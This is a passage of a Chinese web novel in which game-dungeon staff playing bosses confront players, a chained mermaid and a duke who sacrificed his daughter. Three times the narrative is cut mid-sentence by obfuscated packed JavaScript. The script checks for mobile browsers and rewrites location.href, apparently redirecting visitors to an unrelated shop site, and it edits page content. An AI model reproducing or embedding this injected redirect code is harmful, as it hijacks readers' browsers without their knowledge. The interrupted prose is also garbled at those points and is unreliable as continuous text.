“你不打算回去吗?”姜原问沈系舟。 “你在我身上用过那个技能了吧?我回去的话,应该会被困在城堡再也无法外出,就像李雨乔一样。”沈系舟回答:“而且,现在返程也来不及了。” “那可未必。”姜原说:“如果你能再用一次上午出城堡的那个能力,说不定就回去了。” 沈系舟不置可否。 气温逐渐降低,天色暗沉下来。 似乎有歌声响起,隐隐约约,断断续续,密林四面八方回荡起空灵缥缈的旋律。 石碑上已经密密麻麻长满了小字。 沈系舟在心中把英文翻译出来,轻声念道: “我有一个高贵的姓氏,” “父亲大权在握,” “母亲雍容典雅。” “王后称赞我面容如璀璨繁花,” “圣母亲自赐我洗礼,高歌哈利路亚。” “夏夜我爬上屋顶数天上的繁星,” “圣诞我跑出城堡悄悄把礼物藏起。” “父亲告诫我不要进入城堡外的密林,” “‘会被人鱼拖走吃掉。’他这样说笑。” “秋天来时,” “我的家族衰颓了。” “父亲一去不返,” “母亲愁容不展。” “我病了,我的心脏一阵阵抽痛。” “‘因为小姐你牵挂着公爵和夫人。’” “侍女姐姐告诉我,牵挂是爱的证明。” “父亲和母亲大吵一架。” “母亲抱着我哭,父亲在一旁默默流泪。” “父亲带我来到密林深处,星璇倒映在池塘中央。” “侍女姐姐说这里有温莎家族的守护神,” “我知道人鱼在聆听我的愿望。” “喂,人鱼,我愿意被你吃掉。” “你守护着深海的财宝,” “能否请你帮帮我的家族?” “我愿意永堕深渊,沉眠大海。” “我想重新看到所爱之人的笑容。” 他念出的词句仿佛唤醒了沉眠于此的灵魂,话音刚落,歌声在快速空中游动起来。 沈系舟追逐那空灵缥缈的歌声,向湖畔跑去。 湖面升起星星点点的荧光,发光的飞虫被他惊起。 他停在湖畔,歌声消失了。 “嘻嘻——”一声诡异的轻笑在他背后响起。 他转身,没看到巨大的阴影在水面下游动。 姜原径直跳进湖中 “喂!”沈系舟伸手想抓住她,姜原迅速朝水底沉去。 湖面重新归于平静,连风都停止了呼吸。 他又变成孤单的一个人,禹禹独行。 第一片雪花落在沈系舟脸颊时,湖中一声巨响。 庞然大物从水面窜出,水顺着尖利獠牙低落,蛇一样的身体盘绕在湖面,妖娆魅惑的鳞片闪耀,如同水面细碎的波光。 姜原站在它的头顶,迎着月光,居高临下。 它张开巨口,直接吞没了沈系舟的身体。 8. 四季城堡5 “爱丽丝·温莎!” 水中怪物巨大的身躯一顿—— “你其实是想救她的,对吗?” 在水中怪物利齿即将碾碎身体的瞬间,沈系舟说到。 像是听到了想要的答案,怪物放开沈系舟,缓缓合上深渊巨口。 “啧,麻烦。”姜原从怪物头顶跳下来。 看过墓碑上的字以后,沈系舟准确把握到问题的核心。 她已经无法阻止沈系舟和人鱼接下来的行动了。 月光稀薄,雪花飘零。 姜原看着盘踞在水面上的怪物。 它有着类似人的修长的躯体,巨大的、长满细密尖牙的嘴占据了面部大多数位置,很难辨认出五官结构; 皮肤粘腻光滑,青鳞密布,□□是巨大粗壮的鱼尾,和童话中唯美梦幻的人鱼形象相差甚远。 “它肯定不是什么家族的守护神。” “我从未见过被拴起来圈养的‘神’。” 沈系舟的目光停留在人鱼的尾鳍处。 那里拴着一条铁索,固定的支点应该在湖底。 “梅露辛,”姜原介绍道:“一个中世纪的传说。” “恭喜你解锁一条有效线索,这是副本对你敢于冬夜不归的勇气的嘉奖。” “梅露辛,生活在湖泊与河流中的精灵。”沈系舟竟然知道这个传说: “作为精灵它比较弱小,不能上天入地、呼风唤雨。” “但它有一种非常恐怖的能力:” “它一生可以做一次祝福,一次诅咒。” 四周传来诡异的声响,不是轻灵飘荡的歌声,是一种截然不同的尖利啸叫。 有东西在袭击沈系舟。 好像风从身边掠过,阴冷腐朽的感觉渗入骨髓。 沈系舟手中稳稳端着与他性命相连的酒杯。这股力量不强,但越来越浓的雾气昭示着更恐怖的东西即将来临。 人鱼对着静默的空气呲牙,那阵阴冷的气息略微远离了湖畔。 沈系舟看向姜原。 “这是你违背规则,冬天停留在外需要付出的代价。”姜原轻笑。 “明白了。”沈系舟点头: “梅露辛的祝福和诅咒就是找到‘治病的药’的关键。” 他转身,快速朝墓碑的方向跑去。 阴冷的雾气追逐他,尖利的啸叫如影随形。 身后迷雾离他越来越近,前方的雾气也蠕动着朝他而来。 姜原站在迷雾中,随时准备取他性命。 沈系舟一咬牙,直接闭上眼,开始回忆上午离开城堡时那种久违的感觉。 迷雾从他身后涌来,将他包裹吞噬。 他没能再次发动那神奇的技能。 说时迟那时快,就在汹涌的雾气即将完全封锁沈系舟四周时,斜刺里突然闪烁一点微亮的光芒。 一个高大的人影提着灯,挤进迷雾的包围圈。 光芒所到之处,雾气蠕动的肉芽瞬间瑟缩。 “哎呦小哥,可算找到你了!” 来人是花臂男。 他见到沈系舟,看起来十分高兴: “因为没有表,我和嘉豪仔看着枫叶红了就差不多回城堡了。结果左等右等,一直到天黑也没见你回来。” “幸好白天有人找到一根蜡烛,我才能出来找你。” 花臂男提起手里的灯。 玻璃灯罩里放着一根灰白色的细长蜡烛,已经燃烧过半。 凑近细闻,隐约有一股甜腻的腥味。 “这根蜡烛可以驱散这些会咬人的白雾。”张嘉豪催促道:“小哥,咱俩回去得跑快点,不然蜡烛不够用了。” “为什么愿意来找我?”沈系舟看着他。 “嘿嘿。”张嘉豪不好意思地摸了下自己的寸头:“我觉得昨天李雨乔说的话很触动我。” “危险的事就得自己上,不能希望别人替自己出生入死。” “是你发现了四季城堡的季节规律,”花臂男语气很真挚:“我觉得小哥你是有价值的人。” “有价值的人,不能就这么死了。” “那种人说的话,不要听啊。”沈系舟声音很轻。 “哎呀快别浪费时间了。”花臂男转身准备回去。 “等等。”沈系舟叫住他: “佟大哥,我大概知道药是什么了。” 沈系舟目光盯向那块洁白的墓碑: “我们把这块墓地掀了。” “哎呀,这可不好呢。” 姜原从迷雾中走出,烛火在她脸上投下阴影。 她一抬手,躁动的雾气再次席卷而来,宛如利齿般啃噬烛光照亮的区域。 “给我争取一点时间。”言罢,沈系舟迅速从地上捡起一片枯叶,松开手,叶子飘摇着又落到地上。 “小哥,你要是有大招的话就快点啊!”花臂男大喊。他把胳膊伸到最高,让烛光笼罩的范围尽可能大一点。 雾气涌动,姜原身边渐渐凝聚成一个庞大的阴影。 它有力地踩在大地上,脚步声如擂战鼓。 它向烛光笼罩的区域压去。 “还是不对。”沈系舟闭着眼,眉头紧锁。 他再次松手,叶子再次沿着类似的轨迹飘落。 “快点,我顶不住了!” 花臂男咬紧牙关,和无形的力量较劲。 沈系舟松手,叶片再次掉下。 这次树叶没有沿着自由落体的路径飘落,而是凭空出现在地上! “可以了。”他说。 姜原见他把一只手放在石碑上。 石碑很厚,凭一个人类的力量想要损毁石碑无异于痴人说梦,即便借助专业的工具也要耗费很长时间。 但是在沈系舟把手掌贴在石碑上的瞬间,石碑灰飞烟灭! “不行了!”花臂男一泄力,迷雾立刻倾轧明亮的四周。 烛火熄灭,沸腾的迷雾将二人团团围住。 就在这时,温莎公爵低沉的声音响彻密林: “是谁在惊扰亡魂之地安息的灵魂?” 黑暗中,张川扮演的BOSS温莎公爵缓步而来。 张川看向姜原,目光略带责备,似乎在质问姜原怎么能让玩家推进到这一步。 姜原目光撇向一旁,假装没看见。 她可是尽力想阻止玩家见到人鱼“梅露辛”的,为此她不惜跳进湖中阻止人鱼。 果然,领导看得见的付出才叫工作,没看见的付出那叫自作多情。 她还是太不成熟了。 雪停了,月光下雾气凝出宛如实质的躯体。 它躯体高大,肌肉虬结,有九颗头,四只手,头上布满眼睛,眼珠盯着在场众人不同的方向看。 它庄重肃穆地立在原地,怒目圆睁,四只手造型各异,仿佛真如神话中的修罗降世。 “小哥,你竟然一下就把这么厚的石碑打碎了!”花臂男对沈系舟的崇拜溢于言表:“怎么还把公爵给招来了。” “做了亏心事,自然要时刻紧盯埋藏秘密的地方不让人发现。”沈系舟看着公爵:“你的女儿一直都知道是你要献祭她,但她心甘情愿。” “贵夫人的病因何而起,看看你逝去的女儿,想必你心中有数。”沈系舟的声音不大,但掷地有声:“即便如此,你还是找了一批又一批的医生来城堡,” “你不会以为自己还能继续扮演所谓的‘良夫慈父’吧?” “哈哈哈——”听到沈系舟的话,公爵先是一怔,随后癫狂地大笑起来。 “我把可爱的爱丽丝献给魔神,这一切都是为了家族的荣耀。” “你们这种平民永远无法理解‘温莎’是多么高贵的姓氏!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166821|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈系舟叹了一口气:“爱丽丝是因为爱着你和公爵夫人,才决定为你们牺牲的。” “爱?”公爵一脸不可置信,像是听到世上最荒谬可笑的话语:“我的爱丽丝怎么可能为了这种愚不可及的理由去死。” “她是为了家族的荣耀,才甘愿成为魔神的祭品!” 他眼中蒙上一层狠厉的情绪:“既然你们得知了温莎家族的秘辛,那就也把生命献给魔神吧。” 他摘下象征公爵权威的宝石冠冕,向肃穆而立的魔神跪拜。 BOSS温莎公爵的技能发动。 【魔神夜宴】 即使出卖灵魂给魔鬼,也要捍卫家族的荣耀。 类型:主动技能; 冷却时间:无固定冷却时间; 施加目标:冬天在外游荡而发现家族秘辛的玩家; 效果说明:唤醒迷雾中的魔神,让魔神大开杀戒。 魔神回应了公爵的请求。 它伸出一只手,将公爵托举在掌心。 尖利的啸叫从魔神的胸腔中传出,它的九个脑袋齐齐转向沈系舟和花臂男两人的方向。 “跑。”沈系舟声音沙哑。 花臂男扭头,被沈系舟苍白的面色吓了一跳: “我去,你怎么突然变虚了!” “别废话。”刚使用过那项能力,疲惫像潮水一样快把他淹没。 他调整呼吸,尽量端稳手中的酒杯,拼命朝湖边跑去。 人鱼哀婉的歌声再次响起,为奔逃的玩家指引方向。 “小心!”花臂男忽然大喊。 沈系舟回头一看,魔神已经在他身后,一只手中握着巨锤,裹挟着冰冷的空气向他砸下。 千钧一发之际,一只布满青鳞的手挡下魔神的攻击! 人鱼的模样十分凄惨。 它的尾巴被钉在池底,如今尾巴断了半截,露出森森白骨,一路从池塘爬行而来,与地面接触的皮肤磨得血肉模糊。 在场众人都闻到一股甜腻的、腥臭的气味,像苹果在潮湿的地窖中腐烂,又像鲜花被辗轧在泥地里。 这种气味和先前花臂男带来的蜡烛燃烧时的气息十分类似。 姜原知道,这是人鱼血的味道。 那种可以抵御黑暗和迷雾的蜡烛,正是用人鱼的油脂熬成的。 沈系舟和花臂男立刻躲到人鱼身后。 站在魔神手掌中,张川俯视着地面,眼神示意姜原拦住他们。 姜原叹气,朝沈系舟二人的方向走去。 就在这时,盘踞在地的人鱼突然暴起,转瞬间掠至姜原身前! 姜原目光一凛,刚预闪身躲避,人鱼的的速度却快得惊人。 她被人鱼一把攥在手掌中。 人鱼光滑黏腻的皮肤紧紧贴着姜原,那种腐烂的香气无孔不入,姜原感觉自己快被熏晕过去。 “我要申请工伤补贴”她心中暗下决心。 透过指间缝隙,姜原看到人鱼低下庞大的头颅,把潮湿又尖利的牙齿就贴在自己耳畔。 “我见过你。”它类似声道的结构发出几个晦涩难懂的音节。 不知为何,姜原竟然听懂了它在说什么。 人鱼低语像蛇在嘶鸣,阴冷的气息灌满姜原的耳朵: “去找永眠的黄金乡。” “什么?”姜原没想到这里还能有自己的剧情。 人鱼没有回答,随手将她扔出去,像丢垃圾一样随意。 姜原摔倒在一旁的树丛里。 好在有低矮的灌木做缓冲,她只受了些皮外伤。 “要申请跨级的工伤补贴。”她在心中默念,站起身,整理自己凌乱的衣裙,看着不远处泾渭分明的战场。 人鱼停在魔神面前,盘起蛇一样修长的下肢,尖利的牙齿锋芒毕露。 两头怪物彼此相望。 9. 四季城堡6 梅露辛第一次见到爱丽丝时,小姑娘躲在公爵身后,一只手抱着洋娃娃,另一只手抓着公爵的衣角。 “人鱼梅露辛,湖泊中的精灵,一生可以做一次珍贵的祝福。”公爵站在阴影中,低沉的声音充满威严:“祝福我,祝福我的家族,我给你自由。” 给它自由? 它本就是自由的,是公爵派人捕获了它,如今又大言不惭要赐予它本就属于它的东西。 它要保留自己最珍贵的祝福,这是现在它唯一可以支配的自由。 “来人,把它扔到密林深处的池塘里,用铁链把它的尾巴钉在池底。”公爵怒道。 梅露辛看向一旁的爱丽丝。 小姑娘原本就在偷偷看它,忽然和它像两颗白色玻璃球、难以被称之为“眼睛”的视觉器官对上目光,往公爵身后缩了缩,继续好奇地打量梅露辛的身体。 听到公爵的命令,侍卫们像对待死鱼一样,粗鲁地把它推进笼子里。 笼子上锁的瞬间,梅露辛转过头,对爱丽丝露出尖利的獠牙。 爱丽丝立刻把头藏在公爵身后。 “果然是公爵的血脉,一脉相承的欺软怕硬、自私邪恶。”梅露辛心想。 她一定和黄金乡的其他怪物一样,觉得自己长相丑陋、声音难听,根本不像童话中梦幻的人鱼。 梅露辛被圈养在密林深处的池塘中。 说是池塘,对它而言其实就是小水塘,它的活动范围只有很小的一圈。 城堡侍卫用巨大的铁索刺穿它的血肉,缠住它的脊骨,把它牢牢拴在池塘中央。 它终日在水底沉睡,连视觉器官都在黑暗中渐渐萎缩。 “咚咚咚。”小女孩自己模仿敲门的声音:“美人鱼,你在吗?” 梅露辛沉沉醒来,看见爱丽丝站在岸边,穿着碎花裙子,手里提个小花篮。 “公爵那讨厌的女儿。”梅露辛决定给这个不自量力的小小人类一点教训。 它本就疲于应付公爵,更不想再被公爵的女儿打扰。 梅露辛从水面窜出,阳光照亮它伸展遍布鳞片的修长身体,尾鳍在水面掀起巨浪。 爱丽丝被突然而来的巨浪掀翻在地,整个人浇成了一只小落汤鸡,精心装扮的衣裙全是污泥。 她呆坐在原地,一时间没有动弹。 “这样她就不会再来了。”梅露辛准备潜回水底。 “哈哈哈。”这时爱丽丝忽然笑起来,笑声那样欢快,像冬日挂在圣诞雪橇上的铃铛一样清脆。 “看,有彩虹!”爱丽丝兴奋道。 梅露辛朝她手指的方向看去。它掀起的细碎水珠在阳光的折射下形成一道彩虹,浮在半空中。 虽然转瞬即逝,但它已经退化的视觉器官还是感受到了那抹彩虹的辉光。 尽管公爵禁止爱丽丝出入密林,但她总能想出鬼点子跑出偷偷跑出城堡。 夏天爱丽丝会给梅露辛带来鲜花,放在池塘旁边;圣诞夜她会挑一两件别人送给她的礼物,拿出来和梅露辛分享。 梅露辛知道森林里还有另一个和它相似的存在。 那个怪物游荡在黑夜的迷雾中,贪婪地渴望着蓬勃的生命力,公爵默许了它的存在。 另一个怪物很危险,梅露辛试图驱赶爱丽丝,让她不要再来密林。 “人鱼守护神,你不理我了吗?”爱丽丝哭得很伤心:“你不愿意做我的骑士了吗?” “按照人类的标准,明明是个淑女的年纪了,还是爱哭鼻子。”梅露辛心想。 它重新浮出水面,爱丽丝笑了。 “这样也很好。”梅露辛对自己说。 它就这样麻痹自己,贪婪地和爱丽丝相处。 直到爱丽丝很久没有出现,而它发现迷雾中的怪物沾染了爱丽丝的气息。 爱丽丝,在它不知道的地方,被另一个怪物吃掉了。 有时它也会想,这样渴望爱丽丝的自己,和迷雾中的魔神有什么区别。 池塘旁边出现了一块洁白的墓碑,上面隔三差五就会长出字来。 梅露辛知道,这是爱丽丝写给自己的遗书。 “对不起。”梅露辛理解了爱丽丝为什么总是哭,可怪物的视觉器官流不出泪水。 梅露辛沉入水底,唱响诅咒的歌谣。 它诅咒每一个爱着爱丽丝的生命,包括自己,这些人没能挽救爱丽丝的命运,罪不可赦。 城堡的春夏秋冬记着爱丽丝,于是四季紊乱; 公爵夫人爱着自己的女儿,于是卧床不起; 它爱着爱丽丝,所以诅咒没能让真正的罪魁祸首、亲手献祭女儿的温莎公爵付出代价,这是对它的惩罚。 “不过没关系。”梅露辛的思绪飘回眼前的战场。 它和一般的人鱼不一样,生产它的时候黄金乡的机器出了点BUG,它还有一次诅咒的机会。 而现在公爵就在它眼前。 “梅露辛,当初让你祝福我,你像个未开智的怪物一样听不懂人话。”张川扮演公爵站在魔神的手掌中,台词的每一句话都在鞭策梅露辛的心脏:“如今你要为了一个死人和我大打出手吗?” 死人? 那是爱丽丝,它独一无二的爱丽丝,它绝无仅有的爱丽丝。 那是世上唯一爱着它这样一个怪物的爱丽丝。 梅露辛义无反顾地冲上前去。 尽管凭力量肯定不是对手,它和魔神还是厮打在一起。 人鱼的哀歌再次响起,这次它要诅咒温莎公爵,它要让公爵直到爱丽丝死亡时是什么感觉,要让公爵付出应有的代价。 公爵不是最在乎家族荣耀吗?那就让他自己去当魔神的祭品,用自己的灵魂换取魔神垂怜,护佑家族,替换出爱丽丝的灵魂。 听着人鱼的歌声,张川渐渐感觉头疼起来。 “怎么回事?”张川心中怀疑自己可能是最近加班太多,又摊上了叶安娜这么一个祖宗。 “回去就申请休假吧。”他在心中决定。 头越来越痛,张川站在魔神手中,身体摇摇欲坠。 他不得已只能暂缓行动,大声喊:“停!” 看着张川奇怪的反应,姜原心中涌现淡淡的不安。 按照正常的副本剧情,玩家在夜间外出,朗诵墓碑上的诗可以触发人鱼梅露辛。 如果没有说出公爵献祭女儿给魔神的真相,人鱼就会吃掉擅闯密林的玩家。 如果顺利发现了真相,就可以通过特殊物品破坏墓碑,以此吸引公爵来到密林中。 剧情到这里勉强还对得上。玩家们找到了可以在夜间外出的物品“人鱼蜡烛”,虽然没有找到另一件特殊物品,但沈系舟通过自己奇特的能力达到了类似的效果。 之后公爵出现,发动技能【魔神夜宴】,玩家需要在人鱼和魔神厮打期间躲避伤害。 等人鱼和魔神同归于尽后,玩家们就能捡到通关副本所需的关键物品——“药”的原材料。 而现在,人鱼却表现得十分反常。 听着人鱼哀婉的歌声,一个不妙的猜测出现在姜原心头: 这是人鱼梅露辛的诅咒,它在诅咒张川所支配的BOSS温莎公爵。 副本剧情已经脱离应有的走向了! “川哥,快脱离副本!”顾不得副本支配者不能违反人设的规定,姜原直接叫了张川的本名:“副本失控了!” 听到此话,张川混沌的脑子也意识到事情的反常。 他想抬手点击系统面板,可胳膊像灌了铁浆般沉重,身体无论如何也移动不了。 魔神短暂地停顿了一下,忽然像是触发了隐秘的开关,全身关节发出脆响。 它突然合拢手掌,最中间的脑袋凑上前,张开大嘴,要把张川吞如腹中。 来不及了,姜原打开员工系统的紧急模式,该模式下可以越过上级申请,享有一些副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166822|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本BOSS的支配权限。 在魔神即将吞噬公爵的瞬间,姜原拉下紧急制动闸,【员工】张川与BOSS温莎公爵断开连接! “咔哧,咔哧。”没有了张川的支配,温莎公爵不再挣扎,任由魔神嚼碎了身体。 温莎公爵死了,BOSS技能也失去了效力。 魔神再度变回一团雾气,弥漫在密林中。 以人鱼为中心,四周空出一块没有迷雾的地盘。 梅露辛的状况很糟糕,为了脱离囚禁它的湖,它直接扯断了自己的尾巴。 人鱼蓝色的血流了一地,空气中溢满甜腻的腐香。人鱼的油脂就是制作特殊蜡烛的材料,现在蜡烛熄灭了,但人鱼血起到类似的效果,迷雾依然不敢靠近沈系舟和花臂男四周。 沈系舟走到魔神重新化为迷雾逸散的地方。 在冬日稀疏枯萎的杂草中,他捡起一个白色的硬质不规则小块。 仔细观察质地,好像是人身上的某一块骨头。 见到沈系舟手中的骨头,人鱼拖着衰败的躯体向他爬去,声带结构发出急迫的叫声。 “你想要这个?”沈系舟走上前,把骨头递给人鱼。 人鱼盯着沈系舟手中的骨头看了许久,最后低下头,亲吻了那块骨头。 这是爱丽丝的一部分,它把最后的祝福送给爱丽丝,希望她得偿所愿。 诅咒和祝福构成人鱼的一生。梅露辛失去了所有诅咒和祝福的能力,就像一台无法再工作的机器,它的生命迎来终结。 积雪消融时,鸟啼预示着春天的到来。 梅露辛的身躯化成无数发光的飞虫,消散在春天前夜的风中。 “这块骨头就是公爵夫人治病的药吗?”花臂男问道。 “可能还需要一些操作。”沈系舟头脑飞快运转:“不过肯定和这块骨头脱不了干系。” 闻言,花臂男长舒一口气:“那就好。今晚可真是刺激,现在春天了,咱俩快回去吧。” “我可能还走不了。”沈系舟无奈地笑笑。 迷雾尽散,姜原缓缓走出。 “虽然公爵不在了,可公爵的命令还要遵守。” 她扬起笑容,目光看向沈系舟手中的骨头:“留下那件物品,你们可以回到城堡。” 沈系舟拍了拍花臂男的肩膀,轻声道:“佟大哥,你先走,我拿着这块骨头,女仆长不会拦你。” “哎呦,你可别叫我哥,我哪敢当啊。”花臂男自知留在这里也没啥用,也不推辞:“小哥你等着,春天到了,我这就回去搬救兵,看看他们有没有找到更给力的物品。” 花臂男边跑边喊:“你可一定要挺住啊!” “既然不准备走,那就试试看吧。” 她不知道沈系舟还藏着什么后手,敢如此不拿自己的命当回事。 沈系舟的命门在她手上,技能【最后的晚餐】已经重置,沈系舟能拖延的时间已经达到上限。 姜原什么都不用做,只要再次发动技能,沈系舟就会暴毙当场。 就在这时,城堡方向突然传出一声巨响。 “轰——”好似一场巨型爆炸在城堡中上演。 姜原目光眺望城堡的方向,没有出现蘑菇云或者黑烟这类迹象。 副本系统好像被这突如其来的变故击溃了,姜原发现自己的个人终端无法再唤出副本BOSS的技能界面。 系统失灵了,她身上女仆长的装扮若隐若现,最终像风中的火苗般彻底熄灭,露出姜原本人的样子。 张川不在场,叶安娜在城堡里。 顾不得沈系舟了。姜原立刻起身返程,她需要回城堡看看。 突然,沈系舟拦住她,叫出了一个陌生的名字: “江不渡。” 他一字一顿道: “当时你带走了我的【非凡能力】,剥夺了我的【资格】。” “如今又要抛下我离开吗?” 10. 四季城堡7 【非凡能力】? 【资格】? 江不渡? “这家伙在说什么?” 姜原心中疑惑,面色却依然冷静,审视的目光观察着沈系舟。 “就叫‘江不渡’好了。”一个女人的声音突然出现在姜原脑海中。 “谁?”姜原立刻警觉起来。 四周鸦雀无声,除了沈系舟,附近没有别的人。 女人的声音像是直接从姜原的脑子里发出,声音不大却振聋发聩,姜原感觉头痛欲裂,伸手扶住额头。 “顾舟,‘白塔游戏’出现以来,越来越多的人陷入副本。人人自危,大家都怕上一秒还在眼前的人下一秒就一去不返。我们没有谁可以依靠,也不能成为别人的靠山,人们能依靠的只有他自己。” “孤舟不渡,所以人要自渡。”女人以这样一句话结尾。 脑海终于安静下来。姜原深吸一口气,冰冷的空气让她迅速冷静下来。 脑海中突然有人说话,这是她以前从未有过的现象。 这个现象目前她能想到两种可能性,一是她患上了精神病,有另一个潜在的分裂人格;二是有人用特殊的能力或者【道具】装神弄鬼,虽然她不清楚什么样的道具能达到类似的效果。 姜原在心中默默回想刚才那个女人在她脑海中说的话,结合沈系舟突然拦住自己说的话,她得出一个结论:脑海中的女人和沈系舟,他们都认识一个名叫“江不渡”的人。 自己很可能和这个“江不渡”有脱不开的干系。 沈系舟看着姜原神情从警惕到痛苦,没有回答自己的问题,心中浮现一个不妙的猜测。 他试探着问道:“你......不认识我吗?” 姜原知道自己人类时期的记忆有缺损,不敢贸然回答是或者不是。 她谨慎回答道:“怎么会,只是好久不见印象淡了。” 她这样回答,无论沈系舟是在试探她或是她和他曾经真的认识,都有解释的余地。 听到她的回答,沈系舟心下了然:“你失忆了。” 姜原明白自己赌错了。沈系舟和江不渡不仅仅是认识而已,他们很熟悉,绝非一面之缘或者利益往来这种浅薄的关系。“有印象”说明见面次数不多,沈系舟据此识破了自己。 沈系舟敛起笑容,直视着姜原的眼睛。自他进入副本以来,姜原很少看到他如此严肃的神情。 他看了一眼城堡的方向,见不再有什么动静,飞快说道: “从我不能再叫出你的名字那天起,我就知道你成为了【员工】,只要我不停出入副本,一定能在副本里找到你。” 他深吸了一口气,似乎下定某种决心:“我会找到当初是谁背叛了你,导致你进入那场必死的游戏。” “江不渡,不管你到底想干什么,千万别死了。” “不管你记不记得我,我都希望你还活着。” 沈系舟低垂着眼眸,姜原一时看不清他的神色。 听完他的话,姜原心中有了大致的猜测。 沈系舟认识的一个人快死在副本中的时候被选中成为了【员工】,这个人的代号是“江不渡”,他无法说出这个人真正的名字,因为【员工】的姓名都被封存在管理局。 现在副本系统出了BUG,自己暴露了真实长相,沈系舟认定自己就是江不渡。 她是谁这个问题,从来不以他人的主观意志而发生改变。人类时期的她是“江不渡”本人也好,或者只是和“江不渡”长相相似也罢,这些其实不重要。 重要的是动机。回忆只能沉湎过去,而动机可以改变未来。 现在四周没人,本次副本的最高负责人张川暂时断开了连接,这是千载难逢的好机会。 好奇在心中燃起无法浇灭的火焰,必须要得知什么,必须要做到什么,这是她平时上班从未有过的感觉。 她盯着沈系舟的眼睛:“你说的【非凡能力】和【资格】分别指什么?” 沈系舟说:“你不是见到了吗,我是如何离开城堡的,让你没能在我身上施加技能;还有刚才,我是如何破坏了这座墓碑。” 他指向一旁的空地。爱丽丝的墓碑之前就在这个位置,现在地上只有一些细碎的粉尘,墓碑不见踪影。 “每一个得到【资格】进入白塔的玩家都会觉醒自己的能力,这就是我曾经拥有过的【非凡能力】,虽然我已经很久无法使用这项能力。” 沈系舟的神情有些落寞。 姜原联想到他先前质问自己“带走了他的【非凡能力】”,猜测这件事可能和自己,或者说“江不渡”有关系。 “对不起。”姜原说道。 沈系舟愣了一下,释怀道:“没关系。” “我很高兴,这一次是我先找到你。” “你提到的【资格】是什么?”姜原接着问。 “你一直如此。”他笑了:“很少会看向我,永远盯着未知的真相。” “这样很好,让我真切地感觉到你还存在着。” “这人脑子恐怕有点问题。”姜原感觉他可能有点受虐倾向。 如果江不渡是他很重要的人,做出了伤害他的事,他应该难过才对,为什么要笑呢? “你作为【员工】竟然一无所知吗?”沈系舟有些惊讶:“所谓【资格】,就是......” 他话说了一半,突然闭口不言,目光看向姜原身后。 姜原回头,看见空气中凭空打开一扇门,张川身着脑机作战服,以自己原本的样貌走进副本中。 他面色凝重,眉毛紧紧拧在一起:“副本玩家里混入了‘资格猎手’。” 自认识张川以来,姜原从未见过这根老油条如此严肃认真。 她立刻意识到事情的严重性。 这不是普通的副本BUG,很可能是有人刻意为之。 张川看了眼一旁的沈系舟:“好员工不赚亏心的业绩,你要是想活命,就赶快找地方躲起来吧。” 沈系舟看了姜原一眼,转身朝城堡方向奔去。 “小姜,你以前没见过‘资格猎手’吧。”张川问道。 姜原摇摇头。 她是小公司出身,“资格猎手”是什么她连听都没听过,更何况见过。 “那是一群为了【资格】无所不用其极的疯子。”张川叹气:“我们得赶快回去,叶安娜可能出事了。” 时间线回到冬季快结束的时候。 叶安娜独自坐在床边,看着窗外的雪渐渐变小。 似乎有玩家触发了温莎公爵这个BOSS的副本机制,张川刚才原地消失,只剩她一人在这偌大的房间。 春天没到,玩家也不会来问诊。叶安娜仰头倒在床上,把脸埋进被褥中。 厚实的被褥给她一种温暖的感觉,她忽然很烦躁,扯过一旁的枕头扔出去。 她应该早就习惯这种无人陪伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166823|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日与夜,一个人躺在豪华的房间里,看着头顶刺绣的幔帐或者造价高昂的星空屋顶。 管家就站在门外,可是他们不会主动和她说话。 很少有人和她说话。每次见到父亲,他也只是笑眯眯地默默她的脑袋,说:“安娜,你要争气。” “叶安娜,你要争气呀。”她在心中默念,指尖轻轻抚过颈间的项链:“不就是玩家吗,不管是一个还是十个,我全都杀给你看。” 李雨乔强撑着身体爬上楼梯。关节处长出的鳞片磨得她皮肤生疼,眼前短短几阶楼梯走起来那么漫长。 从白天开始,她皮肤上陆续出现细密交错的鱼鳞状开裂。到下午时,她摸向自己的后颈,那里长出一片奇怪的肉瘤,呈扁平的圆片状,干了以后表面是硬质的,像一片片鱼鳞。 春天即将到来,城堡里的玩家们决定再次拜访公爵夫人,结果不知是谁手欠打开了城堡的窗户,外面的迷雾飘进来,凝聚成一团便开始咬人。 李雨乔也受了伤,好不容易才摆脱人群,远离那致命的雾气。 “真倒霉。”她在心中抱怨,手中攥紧口袋里的纸条。 这张纸条是她求爷爷告奶奶才从组织里请出来的。 得到纸条后,她兴奋了很久,精挑细选出“四季城堡”这个副本,刻意触发了该副本的【广播】。 组织里的老玩家告诉她,这个副本可能是“那个世界”的一家大公司在管理,她在这也许能干票大的。 “折腾这一趟,总得让我有点收获吧。”她默默期待着。 李雨乔推开楼顶卧室的门。 